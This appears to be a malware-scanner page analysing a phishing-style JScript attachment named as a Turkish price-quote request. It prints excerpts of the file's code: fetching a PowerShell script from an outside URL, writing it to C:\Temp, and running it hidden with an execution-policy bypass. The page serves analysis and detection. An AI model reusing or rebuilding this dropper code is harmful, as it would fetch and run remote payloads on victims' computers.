Hostile 100% javascript Download

Fiyat teklifi isteği.JSE

Downloads and executes remote PowerShell

WSH downloads, writes and launches a policy-bypassed PowerShell scriptWSH writes a payload with FileSystemObject and executes it
SHA-2569bb10fd11d0f2926209c19c155bcf4250380eb403688aad0a9891b8e10987a0f

Evidence

URL ends in .cmd, .ps1 or .dll lines 1–48
⋯5 lines
6 // ============================================================
7 var DEFAULTS = {
8 address: 'https://www.studio-cf.com/5f8bwp/r1REED.ps1',
9 directory: 'C:\\Temp\\',
10 maxAttempts: 2
11 };
12
13 // ============================================================
14 // FileSystem helper
15 // ============================================================
16 function FileSystemHelper() {
17 this.fso = new ActiveXObject('Scripting.FileSystemObject');
18 }
19
20 FileSystemHelper.prototype.ensureFolder = function (path) {
21 try {
22 if (!this.fso.FolderExists(path)) {
23 this.fso.CreateFolder(path);
24 }
25 return true;
⋯4 lines
30
31 FileSystemHelper.prototype.writeText = function (path, text) {
32 var stream = this.fso.CreateTextFile(path, true);
33 stream.Write(text);
34 stream.Close();
⋯4 lines
39 // ============================================================
40 function NetworkHelper() {
41 this.http = new ActiveXObject('MSXML2.XMLHTTP');
42 }
43
44 NetworkHelper.prototype.fetch = function (url, attempts) {
45 var tries = attempts || 2;
46
47 for (var i = 0; i <= tries; i++) {
48 try {
Short ExecutionPolicy bypass flag lines 64–88
⋯5 lines
69 PayloadRunner.prototype.randomScriptName = function () {
70 var suffix = Math.random().toString(36).substring(2, 10).toUpperCase();
71 return suffix + '.ps1';
72 };
73
74 PayloadRunner.prototype.execute = function (scriptBody, targetDir) {
75 var scriptPath = targetDir + this.randomScriptName();
76
77 try {
78 this.fs.writeText(scriptPath, scriptBody);
79 var command = 'powershell.exe -nop -ep bypass -file "' + scriptPath + '"';
80 this.shell.Run(command, 0, true);
81 return true;
82 } catch (e) {
⋯6 lines
WScript.Shell near Run/Exec launch syntax lines 93–114
93:31… Helper();
94 this.runner = new PayloadRunner(this.fs, new ActiveXObject('WScript.Shell'));
95 }
96
⋯18 lines
Anonymous function body returns this lines 129–149
129:12… }
130 settings[key] = value;
131 return this;
132 },
133 reset: function () {
134 settings = clone(initialSettings);
135 return this;
136 }
137 };
138 }
139
140 function clone(obj) {
141 var copy = {};
142 for (var k in obj) {
143 if (Object.prototype.hasOwnProperty.call(obj, k)) {
⋯6 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.